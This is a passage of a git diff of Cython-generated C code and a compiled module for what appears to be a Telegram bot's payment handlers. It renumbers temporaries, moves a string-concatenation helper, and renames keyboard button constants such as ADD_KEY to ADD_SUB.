__Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_input, __pyx_t_2) < 0) __PYX_ERR(0, 203, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_input, __pyx_t_3) < 0) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 244, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_pre_checkout_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 246, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_pre_checkout_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 244, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 246, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 244, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_pre_checkout_query, __pyx_n_s_PreCheckoutQuery) < 0) __PYX_ERR(0, 244, __pyx_L1_error) - __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_19on_pre_checkout_query, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_on_pre_checkout_query, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__28)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 244, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_pre_checkout_query, __pyx_n_s_PreCheckoutQuery) < 0) __PYX_ERR(0, 246, __pyx_L1_error) + __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_19on_pre_checkout_query, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_on_pre_checkout_query, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__21)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_5, __pyx_t_4); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 244, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_on_pre_checkout_query, __pyx_t_4) < 0) __PYX_ERR(0, 244, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_on_pre_checkout_query, __pyx_t_4) < 0) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_router); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 249, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_router); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_message); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 249, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_message); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_F); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 249, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_F); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_successful_payment); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 249, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_successful_payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 251, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 249, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 249, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_message, __pyx_kp_s_types_Message) < 0) __PYX_ERR(0, 249, __pyx_L1_error) - __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_22on_successful_payment, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_on_successful_payment, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__29)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 249, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 251, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_message, __pyx_kp_s_types_Message) < 0) __PYX_ERR(0, 251, __pyx_L1_error) + __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_22on_successful_payment, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_on_successful_payment, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__22)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_5, __pyx_t_2); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 249, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_5, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 251, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_on_successful_payment, __pyx_t_2) < 0) __PYX_ERR(0, 249, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_on_successful_payment, __pyx_t_3) < 0) __PYX_ERR(0, 251, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_2 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_3) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /*--- Wrapped vars code ---*/ @@ -15694,6 +15725,70 @@ static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key) { PyObject_RichCompare(op1, op2, Py_EQ)); } +/* UnicodeConcatInPlace */ + # if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 +static int +__Pyx_unicode_modifiable(PyObject *unicode) +{ + if (Py_REFCNT(unicode) != 1) + return 0; + if (!PyUnicode_CheckExact(unicode)) + return 0; + if (PyUnicode_CHECK_INTERNED(unicode)) + return 0; + return 1; +} +static CYTHON_INLINE PyObject *__Pyx_PyUnicode_ConcatInPlaceImpl(PyObject **p_left, PyObject *right + #if CYTHON_REFNANNY + , void* __pyx_refnanny + #endif + ) { + PyObject *left = *p_left; + Py_ssize_t left_len, right_len, new_len; + if (unlikely(__Pyx_PyUnicode_READY(left) == -1)) + return NULL; + if (unlikely(__Pyx_PyUnicode_READY(right) == -1)) + return NULL; + left_len = PyUnicode_GET_LENGTH(left); + if (left_len == 0) { + Py_INCREF(right); + return right; + } + right_len = PyUnicode_GET_LENGTH(right); + if (right_len == 0) { + Py_INCREF(left); + return left; + } + if (unlikely(left_len > PY_SSIZE_T_MAX - right_len)) { + PyErr_SetString(PyExc_OverflowError, + "strings are too large to concat"); + return NULL; + } + new_len = left_len + right_len; + if (__Pyx_unicode_modifiable(left) + && PyUnicode_CheckExact(right) + && PyUnicode_KIND(right) <= PyUnicode_KIND(left) + && !(PyUnicode_IS_ASCII(left) && !PyUnicode_IS_ASCII(right))) { + int ret; + __Pyx_GIVEREF(*p_left); + ret = PyUnicode_Resize(p_left, new_len); + __Pyx_GOTREF(*p_left); + if (unlikely(ret != 0)) + return NULL; + #if PY_VERSION_HEX >= 0x030d0000 + if (unlikely(PyUnicode_CopyCharacters(*p_left, left_len, right, 0, right_len) < 0)) return NULL; + #else + _PyUnicode_FastCopyCharacters(*p_left, left_len, right, 0, right_len); + #endif + __Pyx_INCREF(*p_left); + __Pyx_GIVEREF(*p_left); + return *p_left; + } else { + return __Pyx_PyUnicode_Concat(left, right); + } + } +#endif + /* JoinPyUnicode */ static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, Py_UCS4 max_char) { @@ -15763,70 +15858,6 @@ bad: #endif } -/* UnicodeConcatInPlace */ - # if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 -static int -__Pyx_unicode_modifiable(PyObject *unicode) -{ - if (Py_REFCNT(unicode) != 1) - return 0; - if (!PyUnicode_CheckExact(unicode)) - return 0; - if (PyUnicode_CHECK_INTERNED(unicode)) - return 0; - return 1; -} -static CYTHON_INLINE PyObject *__Pyx_PyUnicode_ConcatInPlaceImpl(PyObject **p_left, PyObject *right - #if CYTHON_REFNANNY - , void* __pyx_refnanny - #endif - ) { - PyObject *left = *p_left; - Py_ssize_t left_len, right_len, new_len; - if (unlikely(__Pyx_PyUnicode_READY(left) == -1)) - return NULL; - if (unlikely(__Pyx_PyUnicode_READY(right) == -1)) - return NULL; - left_len = PyUnicode_GET_LENGTH(left); - if (left_len == 0) { - Py_INCREF(right); - return right; - } - right_len = PyUnicode_GET_LENGTH(right); - if (right_len == 0) { - Py_INCREF(left); - return left; - } - if (unlikely(left_len > PY_SSIZE_T_MAX - right_len)) { - PyErr_SetString(PyExc_OverflowError, - "strings are too large to concat"); - return NULL; - } - new_len = left_len + right_len; - if (__Pyx_unicode_modifiable(left) - && PyUnicode_CheckExact(right) - && PyUnicode_KIND(right) <= PyUnicode_KIND(left) - && !(PyUnicode_IS_ASCII(left) && !PyUnicode_IS_ASCII(right))) { - int ret; - __Pyx_GIVEREF(*p_left); - ret = PyUnicode_Resize(p_left, new_len); - __Pyx_GOTREF(*p_left); - if (unlikely(ret != 0)) - return NULL; - #if PY_VERSION_HEX >= 0x030d0000 - if (unlikely(PyUnicode_CopyCharacters(*p_left, left_len, right, 0, right_len) < 0)) return NULL; - #else - _PyUnicode_FastCopyCharacters(*p_left, left_len, right, 0, right_len); - #endif - __Pyx_INCREF(*p_left); - __Pyx_GIVEREF(*p_left); - return *p_left; - } else { - return __Pyx_PyUnicode_Concat(left, right); - } - } -#endif - /* pybytes_as_double */ static double __Pyx_SlowPyString_AsDouble(PyObject *obj) { PyObject *float_value; @@ -16241,7 +16272,7 @@ bad: if (unlikely(!module_name_str)) { goto modbad; } module_name = PyUnicode_FromString(module_name_str); if (unlikely(!module_name)) { goto modbad; } - module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__31); + module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__24); if (unlikely(!module_dot)) { goto modbad; } full_name = PyUnicode_Concat(module_dot, name); if (unlikely(!full_name)) { goto modbad; } @@ -18092,7 +18123,7 @@ __Pyx_PyType_GetName(PyTypeObject* tp) if (unlikely(name == NULL) || unlikely(!PyUnicode_Check(name))) { PyErr_Clear(); Py_XDECREF(name); - name = __Pyx_NewRef(__pyx_n_s__41); + name = __Pyx_NewRef(__pyx_n_s__34); } return name; } diff --git a/handlers/payments/stars_pay.cpython-312-x86_64-linux-gnu.so b/handlers/payments/stars_pay.cpython-312-x86_64-linux-gnu.so index 79edadf4..e54c3304 100755 Binary files a/handlers/payments/stars_pay.cpython-312-x86_64-linux-gnu.so and b/handlers/payments/stars_pay.cpython-312-x86_64-linux-gnu.so differ diff --git a/handlers/payments/utils.c b/handlers/payments/utils.c index ceb64eea..056a2fc3 100644 --- a/handlers/payments/utils.c +++ b/handlers/payments/utils.c @@ -2410,9 +2410,8 @@ static const char __pyx_k_enable[] = "enable"; static const char __pyx_k_format[] = "format"; static const char __pyx_k_import[] = "__import__"; static const char __pyx_k_logger[] = "logger"; -static const char __pyx_k_ADD_KEY[] = "ADD_KEY"; +static const char __pyx_k_ADD_SUB[] = "ADD_SUB"; static const char __pyx_k_PAYMENT[] = "[PAYMENT] \320\237\320\273\320\260\321\202\320\265\320\266 "; -static const char __pyx_k_PROFILE[] = "PROFILE"; static const char __pyx_k_asyncpg[] = "asyncpg"; static const char __pyx_k_balance[] = "balance"; static const char __pyx_k_builder[] = "builder"; @@ -2428,6 +2427,7 @@ static const char __pyx_k_database[] = "database"; static const char __pyx_k_datetime[] = "datetime"; static const char __pyx_k_timezone[] = "timezone"; static const char __pyx_k_total_gb[] = "total_gb"; +static const char __pyx_k_MAIN_MENU[] = "MAIN_MENU"; static const char __pyx_k_RENEW_KEY[] = "RENEW_KEY"; static const char __pyx_k_as_markup[] = "as_markup"; static const char __pyx_k_client_id[] = "client_id"; @@ -2456,6 +2456,7 @@ static const char __pyx_k_update_balance[] = "update_balance"; static const char __pyx_k_cashback_amount[] = "cashback_amount"; static const char __pyx_k_new_expiry_time[] = "new_expiry_time"; static const char __pyx_k_required_amount[] = "required_amount"; +static const char __pyx_k_handlers_buttons[] = "handlers.buttons"; static const char __pyx_k_asyncio_coroutines[] = "asyncio.coroutines"; static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback"; static const char __pyx_k_get_temporary_data[] = "get_temporary_data"; @@ -2472,7 +2473,6 @@ static const char __pyx_k_handlers_payments_utils[] = "handlers.payments.utils"; static const char __pyx_k_handlers_payments_utils_py[] = "handlers/payments/utils.py"; static const char __pyx_k_waiting_for_renewal_payment[] = "waiting_for_renewal_payment"; static const char __pyx_k_handlers_keys_key_management[] = "handlers.keys.key_management"; -static const char __pyx_k_handlers_buttons_notification[] = "handlers.buttons.notification"; static const char __pyx_k_send_payment_success_notificatio[] = "send_payment_success_notification"; /* #### Code section: decls ### */ static PyObject *__pyx_pf_8handlers_8payments_5utils_send_payment_success_notification(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_user_id, double __pyx_v_amount); /* proto */ @@ -2508,15 +2508,15 @@ typedef struct { PyObject *__pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification; #endif PyTypeObject *__pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification; - PyObject *__pyx_n_s_ADD_KEY; + PyObject *__pyx_n_s_ADD_SUB; PyObject *__pyx_n_s_CASHBACK; PyObject *__pyx_n_s_DATABASE_URL; PyObject *__pyx_kp_u_Europe_Moscow; PyObject *__pyx_n_s_InlineKeyboardBuilder; PyObject *__pyx_n_s_InlineKeyboardButton; + PyObject *__pyx_n_s_MAIN_MENU; PyObject *__pyx_kp_u_PAYMENT; PyObject *__pyx_n_s_PAYMENT_SUCCESS_MESSAGE; - PyObject *__pyx_n_s_PROFILE; PyObject *__pyx_kp_u_RENEW; PyObject *__pyx_n_s_RENEW_KEY; PyObject *__pyx_n_s_USE_NEW_PAYMENT_FLOW; @@ -2607,7 +2607,7 @@ typedef struct { PyObject *__pyx_n_s_get; PyObject *__pyx_n_s_get_balance; PyObject *__pyx_n_s_get_temporary_data; - PyObject *__pyx_n_s_handlers_buttons_notification; + PyObject *__pyx_n_s_handlers_buttons; PyObject *__pyx_n_s_handlers_keys_key_management; PyObject *__pyx_n_s_handlers_keys_keys; PyObject *__pyx_n_s_handlers_payments_utils; @@ -2709,15 +2709,15 @@ static int __pyx_m_clear(PyObject *m) { #endif Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification); Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification); - Py_CLEAR(clear_module_state->__pyx_n_s_ADD_KEY); + Py_CLEAR(clear_module_state->__pyx_n_s_ADD_SUB); Py_CLEAR(clear_module_state->__pyx_n_s_CASHBACK); Py_CLEAR(clear_module_state->__pyx_n_s_DATABASE_URL); Py_CLEAR(clear_module_state->__pyx_kp_u_Europe_Moscow); Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardBuilder); Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardButton); + Py_CLEAR(clear_module_state->__pyx_n_s_MAIN_MENU); Py_CLEAR(clear_module_state->__pyx_kp_u_PAYMENT); Py_CLEAR(clear_module_state->__pyx_n_s_PAYMENT_SUCCESS_MESSAGE); - Py_CLEAR(clear_module_state->__pyx_n_s_PROFILE); Py_CLEAR(clear_module_state->__pyx_kp_u_RENEW); Py_CLEAR(clear_module_state->__pyx_n_s_RENEW_KEY); Py_CLEAR(clear_module_state->__pyx_n_s_USE_NEW_PAYMENT_FLOW); @@ -2808,7 +2808,7 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_get); Py_CLEAR(clear_module_state->__pyx_n_s_get_balance); Py_CLEAR(clear_module_state->__pyx_n_s_get_temporary_data); - Py_CLEAR(clear_module_state->__pyx_n_s_handlers_buttons_notification); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_buttons); Py_CLEAR(clear_module_state->__pyx_n_s_handlers_keys_key_management); Py_CLEAR(clear_module_state->__pyx_n_s_handlers_keys_keys); Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_utils); @@ -2888,15 +2888,15 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #endif Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification); Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification); - Py_VISIT(traverse_module_state->__pyx_n_s_ADD_KEY); + Py_VISIT(traverse_module_state->__pyx_n_s_ADD_SUB); Py_VISIT(traverse_module_state->__pyx_n_s_CASHBACK); Py_VISIT(traverse_module_state->__pyx_n_s_DATABASE_URL); Py_VISIT(traverse_module_state->__pyx_kp_u_Europe_Moscow); Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardBuilder); Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardButton); + Py_VISIT(traverse_module_state->__pyx_n_s_MAIN_MENU); Py_VISIT(traverse_module_state->__pyx_kp_u_PAYMENT); Py_VISIT(traverse_module_state->__pyx_n_s_PAYMENT_SUCCESS_MESSAGE); - Py_VISIT(traverse_module_state->__pyx_n_s_PROFILE); Py_VISIT(traverse_module_state->__pyx_kp_u_RENEW); Py_VISIT(traverse_module_state->__pyx_n_s_RENEW_KEY); Py_VISIT(traverse_module_state->__pyx_n_s_USE_NEW_PAYMENT_FLOW); @@ -2987,7 +2987,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_get); Py_VISIT(traverse_module_state->__pyx_n_s_get_balance); Py_VISIT(traverse_module_state->__pyx_n_s_get_temporary_data); - Py_VISIT(traverse_module_state->__pyx_n_s_handlers_buttons_notification); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_buttons); Py_VISIT(traverse_module_state->__pyx_n_s_handlers_keys_key_management); Py_VISIT(traverse_module_state->__pyx_n_s_handlers_keys_keys); Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_utils); @@ -3077,15 +3077,15 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification __pyx_mstate_global->__pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification #endif #define __pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification __pyx_mstate_global->__pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification -#define __pyx_n_s_ADD_KEY __pyx_mstate_global->__pyx_n_s_ADD_KEY +#define __pyx_n_s_ADD_SUB __pyx_mstate_global->__pyx_n_s_ADD_SUB #define __pyx_n_s_CASHBACK __pyx_mstate_global->__pyx_n_s_CASHBACK #define __pyx_n_s_DATABASE_URL __pyx_mstate_global->__pyx_n_s_DATABASE_URL #define __pyx_kp_u_Europe_Moscow __pyx_mstate_global->__pyx_kp_u_Europe_Moscow #define __pyx_n_s_InlineKeyboardBuilder __pyx_mstate_global->__pyx_n_s_InlineKeyboardBuilder #define __pyx_n_s_InlineKeyboardButton __pyx_mstate_global->__pyx_n_s_InlineKeyboardButton +#define __pyx_n_s_MAIN_MENU __pyx_mstate_global->__pyx_n_s_MAIN_MENU #define __pyx_kp_u_PAYMENT __pyx_mstate_global->__pyx_kp_u_PAYMENT #define __pyx_n_s_PAYMENT_SUCCESS_MESSAGE __pyx_mstate_global->__pyx_n_s_PAYMENT_SUCCESS_MESSAGE -#define __pyx_n_s_PROFILE __pyx_mstate_global->__pyx_n_s_PROFILE #define __pyx_kp_u_RENEW __pyx_mstate_global->__pyx_kp_u_RENEW #define __pyx_n_s_RENEW_KEY __pyx_mstate_global->__pyx_n_s_RENEW_KEY #define __pyx_n_s_USE_NEW_PAYMENT_FLOW __pyx_mstate_global->__pyx_n_s_USE_NEW_PAYMENT_FLOW @@ -3176,7 +3176,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_get __pyx_mstate_global->__pyx_n_s_get #define __pyx_n_s_get_balance __pyx_mstate_global->__pyx_n_s_get_balance #define __pyx_n_s_get_temporary_data __pyx_mstate_global->__pyx_n_s_get_temporary_data -#define __pyx_n_s_handlers_buttons_notification __pyx_mstate_global->__pyx_n_s_handlers_buttons_notification +#define __pyx_n_s_handlers_buttons __pyx_mstate_global->__pyx_n_s_handlers_buttons #define __pyx_n_s_handlers_keys_key_management __pyx_mstate_global->__pyx_n_s_handlers_keys_key_management #define __pyx_n_s_handlers_keys_keys __pyx_mstate_global->__pyx_n_s_handlers_keys_keys #define __pyx_n_s_handlers_payments_utils __pyx_mstate_global->__pyx_n_s_handlers_payments_utils @@ -3752,7 +3752,7 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 35, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_PROFILE); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 35, __pyx_L4_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_MAIN_MENU); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 35, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_text, __pyx_t_5) < 0) __PYX_ERR(0, 35, __pyx_L4_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; @@ -5569,7 +5569,7 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __Pyx_GOTREF(__pyx_t_6); __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 100, __pyx_L16_error) __Pyx_GOTREF(__pyx_t_10); - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_ADD_KEY); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 100, __pyx_L16_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_ADD_SUB); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 100, __pyx_L16_error) __Pyx_GOTREF(__pyx_t_9); if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 100, __pyx_L16_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; @@ -6390,7 +6390,7 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __Pyx_GOTREF(__pyx_t_14); __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 118, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_ADD_KEY); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 118, __pyx_L4_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_ADD_SUB); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 118, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_text, __pyx_t_6) < 0) __PYX_ERR(0, 118, __pyx_L4_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; @@ -7086,15 +7086,15 @@ static PyMethodDef __pyx_methods[] = { static int __Pyx_CreateStringTabAndInitStrings(void) { __Pyx_StringTabEntry __pyx_string_tab[] = { - {&__pyx_n_s_ADD_KEY, __pyx_k_ADD_KEY, sizeof(__pyx_k_ADD_KEY), 0, 0, 1, 1}, + {&__pyx_n_s_ADD_SUB, __pyx_k_ADD_SUB, sizeof(__pyx_k_ADD_SUB), 0, 0, 1, 1}, {&__pyx_n_s_CASHBACK, __pyx_k_CASHBACK, sizeof(__pyx_k_CASHBACK), 0, 0, 1, 1}, {&__pyx_n_s_DATABASE_URL, __pyx_k_DATABASE_URL, sizeof(__pyx_k_DATABASE_URL), 0, 0, 1, 1}, {&__pyx_kp_u_Europe_Moscow, 